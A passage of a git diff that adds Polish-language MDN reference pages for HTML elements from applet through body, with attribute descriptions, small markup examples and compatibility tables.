+</dd></dl>
+<dl><dt>mayscript
+</dt><dd>W implementacji Netscape'a ten atrybut pozwala na dostęp do apletu przez programy w języku skryptowym, osadzone w dokumencie.
+</dd></dl>
+<dl><dt>name
+</dt><dd>Ten atrybut przypisuje nazwę do apletu, zatem może być identyfikowany przez inne zasoby, szczególnie skrypty.
+</dd></dl>
+<dl><dt>object
+</dt><dd>Ten atrybut określa URL serializowanej reprezentacji apletu.
+</dd></dl>
+<dl><dt>src
+</dt><dd>Jako zdefiniowany dla Internet Explorer 4 i wyższego, ten atrybut określa URL dla pliku powiązanego z apletem. Znaczenie i użycie jest niejasne i nie jest częścią standardu HTML.
+</dd></dl>
+<dl><dt>vspace
+</dt><dd>Ten atrybut określa w pikselach dodatkową pionową przestrzeń do zarezerwowania nad i pod apletem.
+</dd></dl>
+<dl><dt>width
+</dt><dd>Ten atrybut określa w pikselach szerokość, której potrzebuje aplet.
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre>&lt;applet code="game.class" align="left" archive="game.zip" height="250" width="350"&gt;
+
+&lt;param name="difficulty" value="easy"&gt;
+
+&lt;b&gt;Przepraszamy, potrzebujesz Javy, by grać w tę grę&lt;/b&gt;
+
+&lt;/applet&gt;
+</pre> <h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Specyfikacja W3C nie zachęca do używania <code>&lt;applet&gt;</code> i preferuje używanie znacznika <code>&lt;object&gt;</code>. W definicji HTML 4.01 Strict ten element jest wycofywany.
+</p><p><br>
+{{ HTML:Element_Navigation() }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/HTML/Element/applet" } ) }}
diff --git a/files/pl/web/html/element/aside/index.html b/files/pl/web/html/element/aside/index.html
new file mode 100644
index 0000000000..8bcb01e076
--- /dev/null
+++ b/files/pl/web/html/element/aside/index.html
@@ -0,0 +1,126 @@
+---
+title: <aside>
+slug: Web/HTML/Element/aside
+translation_of: Web/HTML/Element/aside
+---
+<p>Element języka <em>HTML <code>&lt;aside&gt;</code></em> reprezentuje pewnego rodzaju poboczną sekcję strony, która mogłaby także być uważana za jej odrębny element, niemający związku z jej treścią. Takie sekcje są zwykle reprezentowane jako kolumny z boku artykułów lub wtrącenia. Często zawierają one różne typy informacji, takie jak powiązane reklamy, biografie autorów, aplikacje lub informacje o profilu i powiązane strony jak w przypadku blogów.</p>
+
+<div class="note">
+<p><em>Notki dotyczące użycia:</em></p>
+
+<ul>
+ <li>Nie używaj elementu <code>&lt;aside&gt;</code> by otagować lub odznaczyć wtrącany do artykułu tekst, gdyż tekst ten jest zwyke integralną częścią artykułu, a nie osobnym elementem. </li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, sectioning content, palpable content.</li>
+ <li><dfn>Permitted content</dfn><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>.</li>
+ <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">flow content</a>. Note that an <code>&lt;aside&gt;</code> element must not be a descendant of an {{HTMLElement("address")}} element.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p><span style="line-height: 21px;">Ten element zawiera tylko atrybuty globalne (</span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a>)<span style="line-height: 21px;">.</span></p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: html">&lt;article&gt;
+ &lt;p&gt;
+ The Disney movie &lt;em&gt;The Little Mermaid&lt;/em&gt; was
+ first released to theatres in 1989.
+ &lt;/p&gt;
+ &lt;aside&gt;
+ The movie earned $87 million during its initial release.
+ &lt;/aside&gt;
+ &lt;p&gt;
+ More info about the movie...
+ &lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Specifications" name="Specifications">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Obsługa_w_przeglądarkach">Obsługa w przeglądarkach</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>5</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>9.0</td>
+ <td>11.10</td>
+ <td>4.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>2.2</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>9.0</td>
+ <td>11.0</td>
+ <td>5.0 (iOS 4.2)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Others section-related elements: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/pl/web/html/element/b/index.html b/files/pl/web/html/element/b/index.html
new file mode 100644
index 0000000000..16276b25a5
--- /dev/null
+++ b/files/pl/web/html/element/b/index.html
@@ -0,0 +1,30 @@
+---
+title: b
+slug: Web/HTML/Element/b
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/b
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Element <code>&lt;b&gt;...&lt;/b&gt;</code> wyróżnia poszczególne fragmenty tekstu, jednak nie nadaje im ważności sematycznej (tak jak robi to znacznik <a href="/pl/HTML/Element/strong" title="pl/HTML/Element/strong"><code><strong>&lt;strong&gt;</strong></code></a>). Ze względu na zaszłość ze starymi wersjami HTMLa, znacznik nadaje <strong>pogrubienie</strong> dla tekstu, który ma wewnątrz.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">&lt;p&gt;
+  To jest pierwsze wyrażenie.
+  &lt;b&gt;To wyrażenie jest pogrubione.&lt;/b&gt;
+&lt;/p&gt;
+</pre>
+
+<h4 id="Rezultat" name="Rezultat">Rezultat</h4>
+
+<p>To jest pierwsze wyrażenie. <strong>To wyrażenie jest pogrubione.</strong></p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p><a href="/pl/HTML/Element/strong" title="pl/HTML/Element/strong">Znacznik <code><strong>&lt;strong&gt;</strong></code></a></p>
+
+<p>{{ languages( { "en": "en/HTML/Element/b", "nl": "nl/HTML/Element/b", "de": "de/HTML/Element/b" } ) }}</p>
diff --git a/files/pl/web/html/element/base/index.html b/files/pl/web/html/element/base/index.html
new file mode 100644
index 0000000000..6ddf9b043a
--- /dev/null
+++ b/files/pl/web/html/element/base/index.html
@@ -0,0 +1,129 @@
+---
+title: '<base>: Element Domyślnego URL Dokumentu'
+slug: Web/HTML/Element/base
+tags:
+ - Element
+ - HTML
+ - HTML metadane dokumentu
+ - 'HTML:Metadane zawartość'
+ - Reference
+translation_of: Web/HTML/Element/base
+---
+<p id="Summary">{{HTMLRef}}</p>
+
+<p><strong>Element HTML <code>&lt;base&gt;</code></strong> określa bazowy adres URL, którego należy użyć dla wszystkich względnych adresów URL w dokumencie. W dokumencie może znajdować się tylko jeden element <code>&lt;base&gt;</code>.</p>
+
+<p>Używany bazowy adres URL dokumentu jest dostępny z poziomu skryptów z {{domxref('document.baseURI')}}. Jeśli dokument nie zawiera żadnych elementów <code>&lt;base&gt;</code>, <code>baseURI</code> domyślnie jest ustawiony na {{domxref("location.href")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td>Zawartość metadanych.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolona zawartość</th>
+ <td>Brak, jest to {{Glossary("empty element", "pusty element")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Pominięcie znacznika</th>
+ <td>Nie może być tagu zamykającego.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwoleni rodzice</th>
+ <td>Każdy {{HTMLElement("head")}}, który nie zawiera żadnego innego elementu {{HTMLElement("base")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone role ARIA</th>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th scope="row">Interfejs DOM</th>
+ <td>{{domxref("HTMLBaseElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Atrybuty tego elementu obejmują <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<p>Jeśli określono jeden z poniższych atrybutów, element ten <strong>musi</strong> występować przed innymi elementami, których wartości są URLami, takich jak atrybut <code>href</code> elementu {{HTMLElement("link")}}.</p>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Podstawowy adres URL, który ma być używany w całym dokumencie dla względnych adresów URL. Bezwzględne i względne adresy URL są dozwolone.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd><strong>Słowo kluczowe</strong> lub <strong>zdefiniowana przez autora nazwa</strong> domyślnego kontekstu przeglądania, aby wyświetlić wynik, gdy linki lub formularze mają na celu nawigację, dla elementów {{HTMLElement("a")}} lub {{HTMLElement("form")}} bez określonego atrybutu <code>target</code>. Wartość atrybutu określa docelowy kontekst przeglądania (np. zakładka, okno lub {{HTMLElement("iframe")}}).</dd>
+ <dd>Poniższe słowa kluczowe mają szczególne znaczenie:
+ <ul>
+ <li><code>_self</code>: Załaduj wynik do tego samego kontekstu przeglądania, co bieżący. (Jest to wartość domyślna).</li>
+ <li><code>_blank</code>: Załaduj wynik do nowego, nienazwanego kontekstu przeglądania.</li>
+ <li><code>_parent</code>: Załaduj wynik do nadrzędnego kontekstu przeglądania bieżącego. (Jeśli aktualna strona znajduje się wewnątrz ramki.) Jeśli nie ma rodzica, zachowuje się tak samo jak <code>_self</code>.</li>
+ <li><code>_top</code>: Załaduj wynik do najwyższego konktekstu przeglądania (tzn. kontekstu przeglądania, który jest przodkiem obecnego i nie ma rodzica). Jeśli nie ma żadnego rodzica, zachowuje się tak samo jak <code>_self</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Uwagi_dotyczące_zastosowania">Uwagi dotyczące zastosowania</h2>
+
+<h3 id="Wiele_elementów_&lt;base>">Wiele elementów <code>&lt;base&gt;</code></h3>
+
+<p>Jeśli użyto wiele elementów <code>&lt;base&gt;</code>, tylko pierwszy <code>href</code> i pierwszy <code>target</code> są przestrzegane - wszystkie inne są ignorowane.</p>
+
+<h3 id="Kotwice_w_obrębie_strony">Kotwice w obrębie strony</h3>
+
+<p>Linki wskazujące na fragment dokumentu - np. <code>&lt;a href="#some-id"&gt;</code> - rozwiązywane są za pomocą <code>&lt;base&gt;</code>, wywołującego żądanie HTTP na bazowy adres URL z załączonym fragmentem.<br>
+ <br>
+ Na przykład, podając <code>&lt;base href="https://example.com"&gt;</code><br>
+ <br>
+ ...i ten link: <code>&lt;a href="#anchor"&gt;Kotwica&lt;/a&gt;</code><br>
+ <br>
+ ...odsyłacz wskaże na <code>https://example.com/#anchor</code>.</p>
+
+<h3 id="Open_Graph">Open Graph</h3>
+
+<p>Znaczniki <a href="http://ogp.me/">Open Graph</a> nie uznają <code>&lt;base&gt;</code> i powinny zawsze mieć pełne bezwzględne adresy URL. Na przykład:</p>
+
+<pre class="brush: html">&lt;meta property="og:image" content="https://example.com/thumbnail.jpg"&gt;</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: html">&lt;base href="https://www.example.com/"&gt;
+&lt;base target="_blank"&gt;
+&lt;base target="_top" href="https://example.com/"&gt;</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '&lt;base&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Bez zmian w stosuku do najnowszej wersji.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '&lt;base&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Określono zachowanie <code>target</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '&lt;base&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Dodano atrybut <code>target</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.base")}}</p>
diff --git a/files/pl/web/html/element/basefont/index.html b/files/pl/web/html/element/basefont/index.html
new file mode 100644
index 0000000000..f012d79e2b
--- /dev/null
+++ b/files/pl/web/html/element/basefont/index.html
@@ -0,0 +1,34 @@
+---
+title: basefont
+slug: Web/HTML/Element/basefont
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/basefont
+---
+<p>
+</p><p><br>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;basefont&gt;</code> ustanawia domyślny rozmiar czcionki dla dokumentu. Rozmiar czcionki może być wtedy różnie odnoszony do czcionki bazowej przy użyciu elementu <code>&lt;font&gt;</code>.
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<dl><dt>color
+</dt><dd>Ten atrybut ustawia kolor tekstu przy użyciu nazwanego koloru lub koloru określonego w formacie szesnastkowym #RRGGBB.
+</dd></dl>
+<dl><dt>face
+</dt><dd>Ten atrybut zawiera listę jednej lub wielu nazw czcionek. Tekst dokumentu w domyślnym stylu jest wyświetlany w pierwszym rodzaju czcionki, który wspiera przeglądarka użytkownika. Jeśli żadna z czcionek podanych w liście nie jest zainstalowana w lokalnym systemie, przeglądarka zwykle wybierze domyślną dla tego systemu czcionkę proporcjonalną lub o stałej szerokości.
+</dd></dl>
+<dl><dt>size
+</dt><dd>Ten atrybut określa rozmiar czcionki w wartościach numerycznych lub względnych. Wartości numeryczne zawierają się w zakresie od 1 do 7, gdzie 1 jest wartością najmniejszą, zaś 3 domyślną.
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre> &lt;basefont color="#FF0000" face="Helvetica" size="+2" /&gt;
+</pre>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>HTML 3.2 wspiera <code>basefont</code>, ale jedynie z atrybutem <code>size</code>.
+</p><p>Specyfikacje Strict HTML oraz XHTML nie wspierają tego elementu.
+</p><p>Wbrew temu, że jest częścią standardu Transitional, część przeglądarek skupionych na standardach, jak Mozilla i Opera, nie wspiera tego elementu.
+</p><p>Ten element może być naśladowany przez regułę CSS dla elementu <code>body</code>.
+</p><p>XHTML 1.0 wymaga dla tego elementu zamykającego ukośnika: <code>&lt;basefont /&gt;</code>.
+</p><p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/basefont" } ) }}
diff --git a/files/pl/web/html/element/bdo/index.html b/files/pl/web/html/element/bdo/index.html
new file mode 100644
index 0000000000..34e4b85ba0
--- /dev/null
+++ b/files/pl/web/html/element/bdo/index.html
@@ -0,0 +1,22 @@
+---
+title: bdo
+slug: Web/HTML/Element/bdo
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/bdo
+---
+<p>
+</p><p><br>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;bdo&gt;</code> jest używany do unieważnienia aktualnego kierunku tekstu. Powoduje to zignorowanie kierunku znaków na rzecz zdefiniowanego kierunku.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre> &lt;!-- Przełącz kierunek tekstu --&gt;
+ &lt;bdo dir="rtl"&gt;Ten tekst będzie biegł od prawej do lewej.&lt;/bdo&gt;
+</pre>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Specyfikacja HTML 4 nie określa zdarzeń dla tego elementu; zostały one dodane w XHTML. Bardzo prawdopodobnie jest to przeoczenie.
+</p><p><br>
+{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/bdo" } ) }}
diff --git a/files/pl/web/html/element/bgsound/index.html b/files/pl/web/html/element/bgsound/index.html
new file mode 100644
index 0000000000..49c27eb45e
--- /dev/null
+++ b/files/pl/web/html/element/bgsound/index.html
@@ -0,0 +1,45 @@
+---
+title: bgsound
+slug: Web/HTML/Element/bgsound
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/bgsound
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Atrybut <code>&lt;bgsound&gt;</code> Internet Explorera wiąże dźwięk tła ze stroną</p>
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+<dl>
+ <dt>
+ balance</dt>
+ <dd>
+ Ten atrybut definiuje liczbę między -10,000 a +10,000, która decyduje, jak natężenie dźwięku będzie dzielone między głośniki.</dd>
+</dl>
+<dl>
+ <dt>
+ loop</dt>
+ <dd>
+ Ten atrybut wskazuje liczbę powtórzeń dźwięku, który jest do odegrania i może mieć zarówno wartość liczbową, jak i słowo kluczowe <code>infinite</code> (nieskończony).</dd>
+</dl>
+<dl>
+ <dt>
+ src</dt>
+ <dd>
+ Ten atrybut określa URL pliku dźwiękowego do odegrania, który musi być jednym z podanych typów: .wav, .au, or .mid.</dd>
+</dl>
+<dl>
+ <dt>
+ volume</dt>
+ <dd>
+ Ten atrybut definiuje liczbę pomiędzy -10,000 a 0, która decyduje o głośności dźwięku w tle strony.</dd>
+</dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> &lt;bgsound src="sound1.mid"&gt;
+
+ &lt;bgsound src="sound2.au" loop="infinite"&gt;
+</pre>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>Podobną funkcjonalność można osiągnąć w niektórych wersjach Netscape, używając znacznika <code>&lt;embed&gt;</code> do wywołania odtwarzacza audio.</p>
+<p>Możesz pisać <code>bgsound</code> z samozamykającym się znacznikiem <code>&lt;bgsound /&gt;</code>. Jednak, ponieważ ten element nie jest częścią standardu, robienie z niego znacznika w stylu XHTML, nie uczyni go walidowalnym.</p>
+<p>{{ HTML:Element_Navigation() }}</p>
+<p>{{ languages( { "en": "en/HTML/Element/bgsound" } ) }}</p>
diff --git a/files/pl/web/html/element/big/index.html b/files/pl/web/html/element/big/index.html
new file mode 100644
index 0000000000..b8848b77e0
--- /dev/null
+++ b/files/pl/web/html/element/big/index.html
@@ -0,0 +1,20 @@
+---
+title: big
+slug: Web/HTML/Element/big
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/big
+---
+<div>
+ {{ obsolete_header() }}</div>
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+<p>Element <code>&lt;big&gt;...&lt;/big&gt;</code> powiększa czcionkę w stosunku do użytej treści.</p>
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="brush:html">&lt;p&gt;
+ To jest pierwsze zdanie. &lt;big&gt;To zdanie jest napisane dużymi literami.&lt;/big&gt;
+&lt;/p&gt;</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+<p><a href="/pl/HTML/Element/font" title="pl/HTML/Element/font">Znacznik <code>&lt;font&gt;</code></a>, <a href="/pl/HTML/Element/small" title="pl/HTML/Element/small">Znacznik <code>&lt;small&gt;</code></a>, <a href="/pl/HTML/Element/style" title="pl/HTML/Element/style">Znacznik <code>&lt;style&gt;</code></a></p>
+<div>
+ {{ HTML:Element_Navigation() }}</div>
diff --git a/files/pl/web/html/element/blink/index.html b/files/pl/web/html/element/blink/index.html
new file mode 100644
index 0000000000..21a13480d2
--- /dev/null
+++ b/files/pl/web/html/element/blink/index.html
@@ -0,0 +1,22 @@
+---
+title: blink
+slug: Web/HTML/Element/blink
+translation_of: Web/HTML/Element/blink
+---
+<div>
+ {{Deprecated_header()}}</div>
+<div>
+ {{Non-standard_header()}}</div>
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+<p>Element <code>&lt;blink&gt;...&lt;/blink&gt;</code> powoduje migotanie zawartego w nim tekstu (działa tylko w IE, Operze i przeglądarkach opartych na silniku <a href="/pl/Gecko" title="pl/Gecko">Gecko</a>).</p>
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="brush:html">&lt;blink&gt;Why would somebody use this?&lt;/blink&gt;
+</pre>
+<h3 id="Rezultat" name="Rezultat">Rezultat</h3>
+<p><img alt="Grafika:HTMLBlinkElement.gif" class="internal" src="/@api/deki/files/2316/=HTMLBlinkElement.gif"></p>
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+<ul>
+ <li>{{cssxref("text-decoration")}}</li>
+ <li><a href="/pl/HTML/Element/marquee" title="pl/HTML/Element/marquee">Znacznik <code>&lt;marquee&gt;</code></a></li>
+</ul>
+<p>{{ HTML:Element_Navigation() }}</p>
diff --git a/files/pl/web/html/element/blockquote/index.html b/files/pl/web/html/element/blockquote/index.html
new file mode 100644
index 0000000000..66fa6100fe
--- /dev/null
+++ b/files/pl/web/html/element/blockquote/index.html
@@ -0,0 +1,49 @@
+---
+title: blockquote
+slug: Web/HTML/Element/blockquote
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/blockquote
+---
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+<p><strong>Cytat blokowy</strong> oznacza, że dany tekst jest większym cytatem. Zazwyczaj pokazywane jest to jako wcięty tekst (zobacz w <a href="/pl/docs/HTML/Element/blockquote#Notatki" title="HTML/Element/blockquote#Notatki">notatkach</a> jak to zmienić). Źródło cytatu może być zaznaczone za pomocą <a href="/pl/docs/HTML/Element/cite" title="HTML/Element/cite">elementu <code>&lt;cite&gt;</code></a>.</p>
+
+<ul>
+ <li>Typ elementu: <a href="/pl/docs/HTML/Elementy_blokowe" title="HTML/Elementy_blokowe">blokowy</a></li>
+ <li>Dozwolona zawartość: <a href="/pl/docs/HTML/Elementy_blokowe" title="HTML/Elementy_blokowe">elementy blokowe</a></li>
+</ul>
+
+
+<h2 id="Atrybuty" name="Atrybuty">Atrybuty</h2>
+<dl>
+ <dt>
+ cite</dt>
+ <dd>
+ Wartością tego atrybutu jest URL, który określa źródłowy dokument lub wiadomość dla cytowanej informacji. Ten atrybut jest przeznaczony do wskazywania informacji wyjaśniającej kontekst lub powiązanie cytatu.</dd>
+</dl>
+
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="brush:html">&lt;blockquote cite="http://developer.mozilla.org"&gt;
+ &lt;p&gt;To jest cytat z Mozilla Developer Center.&lt;/p&gt;
+&lt;/blockquote&gt;</pre>
+
+<p>Powyższy HTML da następujący efekt:</p>
+
+<blockquote cite="http://developer.mozilla.org">
+ <p>To jest cytat z Mozilla Developer Center.</p>
+</blockquote>
+
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+<p>By zmienić wcięcie dla <code>&lt;blockquote&gt;</code>, użyj własności <a href="/pl/docs/CSS" title="CSS">CSS</a> <a href="/pl/docs/CSS/Margin" title="CSS/Margin"><code>margin</code></a>.</p>
+<p>Dla krótkich cytatów użyj elementu <a href="/pl/docs/HTML/Element/q" title="HTML/Element/q"><code>&lt;q&gt;</code></a>.</p>
+
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+<ul>
+ <li><a href="/pl/docs/HTML/Element/p" title="HTML/Element/p">Akapit</a></li>
+ <li><a href="/pl/docs/HTML/Element/code" title="HTML/Element/code">Znacznik <code>&lt;code&gt;</code></a></li>
+</ul>
+
+<div>{{ HTML:Element_Navigation() }}</div>
diff --git a/files/pl/web/html/element/body/index.html b/files/pl/web/html/element/body/index.html
new file mode 100644
index 0000000000..2fbec32b65
--- /dev/null
+++ b/files/pl/web/html/element/body/index.html
@@ -0,0 +1,166 @@
+---
+title: '<body>: Element Treści Dokumentu'
+slug: Web/HTML/Element/body
+tags:
+ - Element
+ - HTML
+ - Reference
+ - Sectioning Root Element
+ - Sections
+ - Web
+translation_of: Web/HTML/Element/body
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary"><strong>Element <code>&lt;body&gt;</code> </strong>reprezentuje zawartość dokumentu HTML. W dokumencie może znajdować się tylko jeden element <code>&lt;body&gt;</code>.</span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Kategorie treści</th>
+ <td><a href="https://wiki.developer.mozilla.org/pl/docs/Web/Guide/HTML/Sekcje_oraz_konspekt_dokumentu_HTML5">Podział na sekcje</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolona zawartość</th>
+ <td><a href="https://wiki.developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Zawartość przepływu</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Pominięcie znacznika</th>
+ <td>Znacznik otwierający może zostać pominięty, jeśli pierwszą rzeczą wewnątrz niego nie jest znak spacji, komentarz, element {{HTMLElement("script")}} lub element {{HTMLElement("style")}}. Znacznik zamykający może zostać pominięty, jeśli element &lt;body&gt; ma zawartość lub ma znacznik startowy, a po nim nie następuje od razu komentarz.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwoleni rodzice</th>
+ <td>To musi być drugi element elementu {{HTMLElement("html")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone role ARIA</th>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th scope="row">Interfejs DOM</th>
+ <td>{{domxref("HTMLBodyElement")}}
+ <ul>
+ <li>Element <code>&lt;body&gt;</code> wyświetla interfejs {{domxref("HTMLBodyElement")}}.</li>
+ <li>Dostęp do elementu <code>&lt;body&gt;</code> można uzyskać poprzez właściwość {{domxref("document.body")}}.</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element uwzględnia <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alink")}} {{obsolete_inline}}</dt>
+ <dd>Kolor tekstu dla hiperłączy po zaznaczeniu. <em>Ta metoda jest nieprawidłowa, użyj właściwości CSS {{cssxref("color")}} w połączeniu z pseudo-klasą {{cssxref(":active")}}.</em></dd>
+ <dt>{{htmlattrdef("background")}} {{obsolete_inline}}</dt>
+ <dd>URI obrazu do wykorzystania jako tło. <em>Ta metoda jest nieprawidłowa, zamiast tego należy użyć właściwości CSS {{cssxref("background")}} na elemencie.</em></dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{obsolete_inline}}</dt>
+ <dd>Kolor tła dokumentu. <em>Ta metoda jest nieprawidłowa, użyj zamiast tego właściwości CSS {{cssxref("background-color")}} na elemencie.</em></dd>
+ <dt>{{htmlattrdef("bottommargin")}} {{obsolete_inline}}</dt>
